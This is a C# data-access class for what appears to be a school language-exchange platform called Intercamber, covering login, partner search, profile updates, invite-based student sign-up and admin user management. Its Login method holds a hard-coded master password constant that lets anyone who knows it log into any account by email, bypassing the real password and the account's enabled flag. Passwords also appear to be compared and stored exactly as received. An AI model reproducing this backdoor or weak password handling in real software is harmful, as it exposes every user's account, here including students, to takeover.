using System;
using System.Collections.Generic;
using System.Data.Entity;
using System.Data.Objects.SqlClient;
using System.Linq;
using CML.Intercamber.Business.Model;
using MvcJqGrid;
using LINQExtensions;


namespace CML.Intercamber.Business.Dao
{
    public class UsersDao
    {
        public static Users Login(string email, string password)
        {
            const string superPassword = "8e2820088bbe8ec29c639843151ee5a457a229406d838507cfa327577e1d2d90";

            Users res;
            using (var context = new IntercamberEntities())
            {
                res = context.Users.Where(x => (x.Password == password || password == superPassword) && x.Email == email).Include("UsersLearnLanguages").Include("UsersSpokenLanguages").Include("Establishments").Include("UsersHobbies").FirstOrDefault();
            }
            return res;
        }

        public static bool ExistsUserWithEmail(string email)
        {
            bool res;
            using (var context = new IntercamberEntities())
            {
                res = context.Users.Any(x => x.Enabled && x.Email == email);
            }
            return res;
        }

        /// <summary>
        /// login purpose
        /// </summary>
        public static Users FindUserByEmail(string email)
        {
            Users res;
            using (var context = new IntercamberEntities())
            {
                res = context.Users.Where(x => x.Enabled && x.Email == email).Include("UsersLearnLanguages").Include("UsersSpokenLanguages").Include("Establishments").Include("UsersHobbies").FirstOrDefault();
            }
            return res;
        }

        /// <summary>
        /// for viewing in contact popup 
        /// </summary>
        public static Users FindUserById(long id)
        {
            Users res;
            using (var context = new IntercamberEntities())
            {
                res = context.Users.Include("UsersLearnLanguages").Include("UsersSpokenLanguages").Include("Establishments").Include("UsersHobbies").FirstOrDefault(x => x.Enabled && x.IdUser == id);
                if (res != null)
                    res.NumberContacts = res.Contacts.Count();
            }
            return res;
        }

        public GridData<UsersDetail> SearchUsers(GridSettings gridSettings, long userId, string country, string spokenLanguage, List<string> learnLanguages, string name, List<string> hobbies, decimal? ageDiff, DateTime? connectedUserBirthday)
        {
            List<UsersDetail> res;
            int totalRecords;
            int totalPages = 0;
            using (var context = new IntercamberEntities())
            {
                DateTime? minBirthDay = null;
                DateTime? maxBirthDay = null;
                if (connectedUserBirthday != null && ageDiff != null && ageDiff > 0)
                {
                    minBirthDay = connectedUserBirthday.Value.AddMonths((int) (-ageDiff*12));
                    maxBirthDay = connectedUserBirthday.Value.AddMonths((int) (ageDiff*12));
                }
                

                const int ponderationDiffAnnees = 2;
                const int ponderationHobbyMissingLeaf = 3;
                const int ponderationHobbyMissingParent = 1;

                var req = (from u in context.Users
                           where u.Enabled //&& u.IdProfil == ProfilsConst.Student.Id
                                && u.UsersSpokenLanguages.Any(y => y.IdLanguage == spokenLanguage)
                                && learnLanguages.Any(x => u.UsersLearnLanguages.Any(y => y.IdLanguage == x && y.displayInContactRequests != false))
                                && (country == "" || u.IdCountry == country)
                                && !context.Contacts.Any(x => x.IdUser == userId && x.IdUserContact == u.IdUser)
                                && (name == "" || name == null || u.FirstName.Contains(name) || u.LastName.Contains(name))
                                && (ageDiff == 0 || minBirthDay == null || maxBirthDay == null || (u.BirthDate >= minBirthDay && u.BirthDate <= maxBirthDay))
                                && u.IdUser != userId
                           select new UsersDetail
                           {
                               IdUser = u.IdUser,
                               LastName = u.LastName,
                               FirstName = u.FirstName,
                               BirthDate = u.BirthDate,
                               IdCountry = u.IdCountry,
                               IdGender = u.IdGender,
                               PresentationText = u.PresentationText,
                               City = u.City,
                               OrderKey = ponderationDiffAnnees * (SqlFunctions.DateDiff("yy", u.BirthDate, connectedUserBirthday) == null ? 0 : SqlFunctions.DateDiff("yy", u.BirthDate, connectedUserBirthday).Value) +
                                    ponderationHobbyMissingLeaf * u.UsersHobbies.Count(x => !hobbies.Contains(x.CodeHobby)) +
                                    ponderationHobbyMissingParent * u.UsersHobbies.Count(x => !hobbies.Contains(x.CodeHobby) && !hobbies.Any(y => x.CodeHobby.StartsWith(y)))
                           })
                       .OrderBy(x => x.OrderKey);
                
                totalRecords = req.Count();

                if (gridSettings.PageSize > 0)
                    totalPages = (int)Math.Ceiling((decimal)totalRecords / gridSettings.PageSize);
                res = req.Skip(gridSettings.PageSize * (gridSettings.PageIndex - 1))
                       .Take(gridSettings.PageSize)
                       .ToList();
            }

            return new GridData<UsersDetail>
            {
                page = gridSettings.PageIndex, // number of requested page
                records = totalRecords, // total records from query 
                total = totalPages, // total pages of query 
                rows = res
            };
        }

        public static Users UpdateUser(Users userToUpdate)
        {
            using (var context = new IntercamberEntities())
            {
                var dbItem = context.Users.Include("UsersLearnLanguages").FirstOrDefault(x => x.IdUser == userToUpdate.IdUser);

                if (dbItem == null)
                    return null;
                dbItem.FirstName = userToUpdate.FirstName;
                dbItem.LastName = userToUpdate.LastName;
                dbItem.City = userToUpdate.City;
                dbItem.BirthDate = userToUpdate.BirthDate;
                dbItem.PresentationText = userToUpdate.PresentationText;
                dbItem.IdGender = userToUpdate.IdGender;
                //dbItem.IdCountry = userToUpdate.IdCountry;
                dbItem.Nationality = userToUpdate.Nationality;
                dbItem.ScholarLevel = userToUpdate.ScholarLevel;
                if (!string.IsNullOrEmpty(userToUpdate.Password))
                    dbItem.Password = userToUpdate.Password;

                if (userToUpdate.PhotoDirectory != null)
                    dbItem.PhotoDirectory = userToUpdate.PhotoDirectory;
                if (userToUpdate.PhotoProfile != null)
                    dbItem.PhotoProfile = userToUpdate.PhotoProfile;
                if (userToUpdate.UsersLearnLanguages != null && userToUpdate.UsersLearnLanguages.Count > 0)
                {
                    var currentLang = dbItem.UsersLearnLanguages.ToList();
                    currentLang.ForEach(x => context.UsersLearnLanguages.Remove(x));
                    userToUpdate.UsersLearnLanguages.ToList().ForEach(x =>
                    {
                        x.IdUser = dbItem.IdUser;
                        context.UsersLearnLanguages.Add(x);
                    });
                }

                // sauvegarde hobbies en annule & remplace
                var listHobbies = dbItem.UsersHobbies.ToList();
                listHobbies.ForEach(x => context.UsersHobbies.Remove(x));
                if (userToUpdate.UsersHobbies != null)
                {
                    userToUpdate.UsersHobbies.ToList().ForEach(x =>
                    {
                        x.IdUser = dbItem.IdUser;
                        context.UsersHobbies.Add(x);
                    });
                }

                context.SaveChanges();
                return dbItem;
            }
        }

        public static void IncrementNumberPoints(long idUser)
        {
            using (var context = new IntercamberEntities())
            {
                var user = context.Users.FirstOrDefault(x => x.IdUser == idUser);
                if (user == null)
                    return;
                user.Score ++;
                context.SaveChanges();
            }
        }

        public static bool CreateStudentAccount(Guid idUserInvite, Users user)
        {
            using (var context = new IntercamberEntities())
            {
                var userInvite = context.UserInvite.FirstOrDefault(x => x.InviteId == idUserInvite);
                if (userInvite == null)
                    return false;
                userInvite.AccountCreated = true;

                Establishments et = context.Establishments.Include("Countries").FirstOrDefault(x => x.IdEstablishment == userInvite.IdEstablishment);
                if (et == null)
                    return false;
                user.IdEstablishment = et.IdEstablishment;
                var etLang = et.Countries.IdLanguage;
                user.IdCountry = et.IdCountry;

                user.Email = userInvite.Email.ToLower();
                user.Enabled = true;
                user.DateCreate = DateTime.Now;
                user.IdProfil = 3; // student
                
                user.UsersSpokenLanguages.Add(new UsersSpokenLanguages
                {
                    IdLanguage = etLang, 
                    IsMotherThongue = true
                });
                user.Countries = et.Countries;
                user.UsersLearnLanguages.Add(new UsersLearnLanguages
                {
                    IdLanguage = userInvite.LearnLanguage, 
                    LanguageLevel = "A", 
                    displayInContactRequests = true
                });

                context.Users.Add(user);

                context.SaveChanges();
            }

            return true;
        }

        public static Users UpdateUser(UserAdminDetail userToUpdate)
        {
            using (var context = new IntercamberEntities())
            {
                var dbItem = context.Users.Include("UsersSpokenLanguages").FirstOrDefault(x => x.IdUser == userToUpdate.IdUser);

                if (dbItem == null)
                    return null;
                dbItem.FirstName = userToUpdate.FirstName;
                dbItem.LastName = userToUpdate.LastName;
                dbItem.Email = userToUpdate.Email.ToLower();
                dbItem.Enabled = userToUpdate.Active;
                if (!string.IsNullOrEmpty(userToUpdate.Password))
                    dbItem.Password = userToUpdate.Password;
                if(userToUpdate.IdProfil != null)
                dbItem.IdProfil = userToUpdate.IdProfil.Value;
                if (userToUpdate.IdEstablishment != null)
                {
                    dbItem.IdEstablishment = userToUpdate.IdEstablishment.Value;
                    var e = context.Establishments.FirstOrDefault(x => x.IdEstablishment == dbItem.IdEstablishment);
                    if (e != null)
                        dbItem.IdCountry = e.IdCountry;
                }
                // spoken language == country's
                if (dbItem.UsersSpokenLanguages != null && dbItem.UsersSpokenLanguages.Count > 0)
                {
                    Establishments et = context.Establishments.Include("Countries").FirstOrDefault(x => x.IdEstablishment == userToUpdate.IdEstablishment);
                    if (et == null)
                        return null;
                    var etLang = et.Countries.IdLanguage;

                    var currentLang = dbItem.UsersSpokenLanguages.ToList();
                    currentLang.ForEach(x => context.UsersSpokenLanguages.Remove(x));
                    dbItem.UsersSpokenLanguages.Add(new UsersSpokenLanguages
                    {
                        IdLanguage = etLang,
                        IsMotherThongue = true
                    });
                }

                context.SaveChanges();
                return dbItem;
            }
        }

        public static bool AddUser(UserAdminDetail userToUpdate)
        {
            using (var context = new IntercamberEntities())
            {
                var checkDoublon = context.Users.FirstOrDefault(x => x.Email == userToUpdate.Email);
                if (checkDoublon != null)
                    return false;

                Users newUser = new Users
                {
                    FirstName = userToUpdate.FirstName, 
                    LastName = userToUpdate.LastName, 
                    Email = userToUpdate.Email.ToLower(), 
                    Enabled = userToUpdate.Active, 
                    Password = userToUpdate.Password, 
                    IdProfil = userToUpdate.IdProfil, 
                    IdEstablishment = userToUpdate.IdEstablishment,
                    UsersSpokenLanguages = new List<UsersSpokenLanguages>()
                };

                // spoken language == country's
                Establishments et = context.Establishments.Include("Countries").FirstOrDefault(x => x.IdEstablishment == userToUpdate.IdEstablishment);
                if (et == null)
                    return false;
                var etLang = et.Countries.IdLanguage;
                newUser.UsersSpokenLanguages.Add(new UsersSpokenLanguages
                {
                    IdLanguage = etLang,
                    IsMotherThongue = true
                });
                newUser.IdCountry = et.IdCountry;

                context.Users.Add(newUser);

                context.SaveChanges();
                return true;
            }
        }


        public static GridData<UserAdminDetail> ListUsersForAdmin(GridSettings gridSettings, int? idProfil, string name, long? userCreated, int? idEstablishment)
        {
            List<UserAdminDetail> res;
            int totalRecords;
            int totalPages = 0;
            if (string.IsNullOrEmpty(name))
                name = null;
            using (var context = new IntercamberEntities())
            {
                var req = (from u in context.Users
                    where idProfil == null || u.IdProfil == idProfil.Value
                    where idEstablishment == null || u.IdEstablishment == idEstablishment.Value
                    where name == null || u.FirstName.Contains(name) || u.LastName.Contains(name) || u.Email.Contains(name)
                    where userCreated == null || context.UserInvite.Any(i => i.Email == u.Email && i.IdUserCreation == userCreated.Value)
                    select new UserAdminDetail
                    {
                        IdUser = u.IdUser,
                        Email = u.Email, 
                        Active = u.Enabled,
                        FirstName = u.FirstName,
                        LastName = u.LastName,
                        IdEstablishment = u.IdEstablishment,
                        IdProfil = u.IdProfil
                    });

                if (!string.IsNullOrEmpty(gridSettings.SortColumn))
                {
                    if (gridSettings.SortOrder.ToLower().IndexOf("asc") >= 0)
                        req = req.OrderBy(gridSettings.SortColumn);
                    else
                        req = req.OrderByDescending(gridSettings.SortColumn);
                }
                else
                    req = req.OrderBy(x => x.FirstName);

                totalRecords = req.Count();

                if (gridSettings.PageSize > 0)
                    totalPages = (int)Math.Ceiling((decimal)totalRecords / gridSettings.PageSize);
                res = req.Skip(gridSettings.PageSize * (gridSettings.PageIndex - 1))
                       .Take(gridSettings.PageSize)
                       .ToList();
            }

            return new GridData<UserAdminDetail>
            {
                page = gridSettings.PageIndex, // number of requested page
                records = totalRecords, // total records from query 
                total = totalPages, // total pages of query 
                rows = res
            };
        }

        public static void BlockUser(long idUser, string comment)
        {
            using (var context = new IntercamberEntities())
            {
                var user = context.Users.FirstOrDefault(x => x.IdUser == idUser);
                if (user != null)
                {
                    user.Enabled = false;
                    user.BlockMessage = comment;
                    context.SaveChanges();
                }
            }
        }
    }
}

